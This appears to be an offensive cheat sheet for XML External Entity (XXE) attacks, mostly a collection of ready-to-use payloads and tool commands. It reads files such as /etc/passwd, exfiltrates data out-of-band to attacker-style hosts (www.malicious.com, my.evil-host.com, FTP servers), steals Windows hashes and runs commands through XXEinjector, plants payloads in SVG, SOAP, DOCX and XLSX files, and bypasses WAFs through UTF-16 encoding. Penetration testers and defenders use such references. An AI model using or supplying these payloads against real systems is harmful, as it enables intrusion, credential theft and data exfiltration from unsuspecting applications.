An XML External Entity attack is a type of attack against an application that parses XML input and allows XML entities. XML entities can be used to tell the XML parser to fetch specific content on the server.
Internal Entity: If an entity is declared within a DTD it is called as internal entity.
Syntax: <!ENTITY entity_name "entity_value">
External Entity: If an entity is declared outside a DTD it is called as external entity. Identified by SYSTEM.
Syntax: <!ENTITY entity_name SYSTEM "entity_value">
Summary
Tools
Detect the vulnerability
Exploiting XXE to retrieve files
Classic XXE
Classic XXE Base64 encoded
PHP Wrapper inside XXE
XInclude attacks
Exploiting XXE to perform SSRF attacks
Exploiting XXE to perform a deny of service
Billion Laugh Attack
Error Based XXE
Exploiting blind XXE to exfiltrate data out-of-band
Blind XXE
XXE OOB Attack (Yunusov, 2013)
XXE OOB with DTD and PHP filter
XXE OOB with Apache Karaf
Windows Local DTD and Side Channel Leak to disclose HTTP response/file contents
XXE in exotic files
XXE inside SVG
XXE inside SOAP
XXE inside DOCX file
XXE inside XLSX file
XXE inside DTD file
XXE WAF Bypass via convert character encoding
Tools
xxeftp - A mini webserver with FTP support for XXE payloads
sudo ./xxeftp -uno 443
./xxeftp -w -wps 5555
230-OOB - An Out-of-Band XXE server for retrieving file contents over FTP and payload generation via http://xxe.sh/
$ python3 230.py 2121
XXEinjector - Tool for automatic exploitation of XXE vulnerability using direct and different out of band methods
# Enumerating /etc directory in HTTPS application:rubyXXEinjector.rb--host=192.168.0.2--path=/etc--file=/tmp/req.txt--ssl# Enumerating /etc directory using gopher for OOB method:rubyXXEinjector.rb--host=192.168.0.2--path=/etc--file=/tmp/req.txt--oob=gopher# Second order exploitation:rubyXXEinjector.rb--host=192.168.0.2--path=/etc--file=/tmp/vulnreq.txt--2ndfile=/tmp/2ndreq.txt# Bruteforcing files using HTTP out of band method and netdoc protocol:rubyXXEinjector.rb--host=192.168.0.2--brute=/tmp/filenames.txt--file=/tmp/req.txt--oob=http--netdoc# Enumerating using direct exploitation:rubyXXEinjector.rb--file=/tmp/req.txt--path=/etc--direct=UNIQUEMARK# Enumerating unfiltered ports:rubyXXEinjector.rb--host=192.168.0.2--file=/tmp/req.txt--enumports=all# Stealing Windows hashes:rubyXXEinjector.rb--host=192.168.0.2--file=/tmp/req.txt--hashes# Uploading files using Java jar:rubyXXEinjector.rb--host=192.168.0.2--file=/tmp/req.txt--upload=/tmp/uploadfile.pdf# Executing system commands using PHP expect:rubyXXEinjector.rb--host=192.168.0.2--file=/tmp/req.txt--oob=http--phpfilter--expect=ls# Testing for XSLT injection:rubyXXEinjector.rb--host=192.168.0.2--file=/tmp/req.txt--xslt# Log requests only:rubyXXEinjector.rb--logger--oob=http--output=/tmp/out.txt
oxml_xxe - A tool for embedding XXE/XML exploits into different filetypes (DOCX/XLSX/PPTX, ODT/ODG/ODP/ODS, SVG, XML, PDF, JPG, GIF)
ruby server.rb
docem - Utility to embed XXE and XSS payloads in docx,odt,pptx,etc
Basic entity test, when the XML parser parses the external entities the result should contain "John" in firstName and "Doe" in lastName. Entities are defined inside the DOCTYPE element.
<!ENTITY % file SYSTEM "file:///etc/passwd"><!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///nonexistent/%file;'>">%eval;%error;
Exploiting blind XXE to exfiltrate data out-of-band
Sometimes you won't have a result outputted in the page but you can still extract the data with an out of band attack.
Blind XXE
The easiest way to test for a blind XXE is to try to load a remote resource such as a Burp Collaborator.
<?xml version="1.0" ?><!DOCTYPE root [<!ENTITY % ext SYSTEM "http://UNIQUE_ID_FOR_BURP_COLLABORATOR.burpcollaborator.net/x"> %ext;]><r></r>
Send the content of /etc/passwd to "www.malicious.com", you may receive only the first line.
<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [<!ELEMENT foo ANY ><!ENTITY % xxe SYSTEM "file:///etc/passwd" ><!ENTITY callhome SYSTEM "www.malicious.com/?%xxe;">]><foo>&callhome;</foo>
XXE OOB Attack (Yunusov, 2013)
<?xml version="1.0" encoding="utf-8"?><!DOCTYPE data SYSTEM "http://publicServer.com/parameterEntity_oob.dtd"><data>&send;</data>File stored on http://publicServer.com/parameterEntity_oob.dtd<!ENTITY % file SYSTEM "file:///sys/power/image_size"><!ENTITY % all "<!ENTITY send SYSTEM 'http://publicServer.com/?%file;'>">%all;
XXE OOB with DTD and PHP filter
<?xml version="1.0" ?><!DOCTYPE r [<!ELEMENT r ANY ><!ENTITY % sp SYSTEM "http://127.0.0.1/dtd.xml">%sp;%param1;]><r>&exfil;</r>File stored on http://127.0.0.1/dtd.xml<!ENTITY % data SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd"><!ENTITY % param1 "<!ENTITY exfil SYSTEM 'http://127.0.0.1/dtd.xml?%data;'>">
In some case, outgoing connections are not possible from the web application. DNS names might even not resolve externally with a payload like this:
<!DOCTYPE root [<!ENTITY test SYSTEM 'http://h3l9e5soi0090naz81tmq5ztaaaaaa.burpcollaborator.net'>]><root>&test;</root>
If error based exfiltration is possible, you can still rely on a local DTD to do concatenation tricks. Payload to confirm that error message include filename.
<!DOCTYPE root [ <!ENTITY % local_dtd SYSTEM "file:///abcxyz/"> %local_dtd;]><root></root>
Assuming payloads such as the previous return a verbose error. You can start pointing to local DTD. With an found DTD, you can submit payload such as the following payload. The content of the file will be place in the error message.
<!DOCTYPE root [ <!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd"> <!ENTITY % ISOamsa ' <!ENTITY % file SYSTEM "file:///REPLACE_WITH_FILENAME_TO_READ"> <!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///abcxyz/%file;'>"> %eval; %error; '> %local_dtd;]><root></root>
<?xml version="1.0" standalone="yes"?><!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/hostname" > ]><svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1">
<textfont-size="16"x="0"y="16">&xxe;</text></svg>
OOB via SVG rasterization
xxe.svg
<?xml version="1.0" standalone="yes"?><!DOCTYPE svg [<!ELEMENT svg ANY ><!ENTITY % sp SYSTEM "http://example.org:8080/xxe.xml">%sp;%param1;]><svgviewBox="0 0 200 200"version="1.2"xmlns="http://www.w3.org/2000/svg"style="fill:red"> <textx="15"y="100"style="fill:black">XXE via SVG rasterization</text> <rectx="0"y="0"rx="10"ry="10"width="200"height="200"style="fill:pink;opacity:0.7"/> <flowRootfont-size="15"> <flowRegion> <rectx="0"y="0"width="200"height="200"style="fill:red;opacity:0.3"/> </flowRegion> <flowDiv> <flowPara>&exfil;</flowPara> </flowDiv> </flowRoot></svg>
xxe.xml
<!ENTITY % data SYSTEM "php://filter/convert.base64-encode/resource=/etc/hostname"><!ENTITY % param1 "<!ENTITY exfil SYSTEM 'ftp://example.org:2121/%data;'>">
XXE inside SOAP
<soap:Body> <foo><![CDATA[<!DOCTYPE doc [<!ENTITY % dtd SYSTEM "http://x.x.x.x:22/"> %dtd;]><xxx/>]]> </foo></soap:Body>
XXE inside DOCX file
Format of an Open XML file (inject the payload in any .xml file):
/_rels/.rels
[Content_Types].xml
Default Main Document Part
/word/document.xml
/ppt/presentation.xml
/xl/workbook.xml
Then update the file zip -u xxe.docx [Content_Types].xml
Add your blind XXE payload inside xl/workbook.xml.
<?xml version="1.0" encoding="UTF-8" standalone="yes"?><!DOCTYPE cdl [<!ELEMENT cdl ANY ><!ENTITY % asd SYSTEM "http://x.x.x.x:8000/xxe.dtd">%asd;%c;]><cdl>&rrr;</cdl><workbook xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships">
Alternativly, add your payload in xl/sharedStrings.xml:
<?xml version="1.0" encoding="UTF-8" standalone="yes"?><!DOCTYPE cdl [<!ELEMENT t ANY ><!ENTITY % asd SYSTEM "http://x.x.x.x:8000/xxe.dtd">%asd;%c;]><sst xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" count="10" uniqueCount="10"><si><t>&rrr;</t></si><si><t>testA2</t></si><si><t>testA3</t></si><si><t>testA4</t></si><si><t>testA5</t></si><si><t>testB1</t></si><si><t>testB2</t></si><si><t>testB3</t></si><si><t>testB4</t></si><si><t>testB5</t></si></sst>
Using a remote DTD will save us the time to rebuild a document each time we want to retrieve a different file. Instead we build the document once and then change the DTD. And using FTP instead of HTTP allows to retrieve much larger files.
xxe.dtd
<!ENTITY % d SYSTEM "file:///etc/passwd"><!ENTITY % c "<!ENTITY rrr SYSTEM 'ftp://x.x.x.x:2121/%d;'>">
Most XXE payloads detailed above require control over both the DTD or DOCTYPE block as well as the xml file. In rare situations, you may only control the DTD file and won't be able to modify the xml file. For example, a MITM. When all you control is the DTD file, and you do not control the xml file, XXE may still be possible with this payload.
<!-- Load the contents of a sensitive file into a variable --><!ENTITY % payload SYSTEM "file:///etc/passwd"><!-- Use that variable to construct an HTTP get request with the file contents in the URL --><!ENTITY % param1 '<!ENTITY % external SYSTEM "http://my.evil-host.com/x=%payload;">'>%param1;%external;
XXE WAF Bypass via convert character encoding
In XXE WAFs, DTD Prolog are usually blacklisted BUT not all WAFs blacklist the UTF-16 character encoding
All XML processors must accept the UTF-8 and UTF-16 encodings of Unicode -- https://www.w3.org/XML/xml-V10-4e-errata#E11
we can convert the character encoding to UTF-16 using iconv to bypass the XXE WAF:-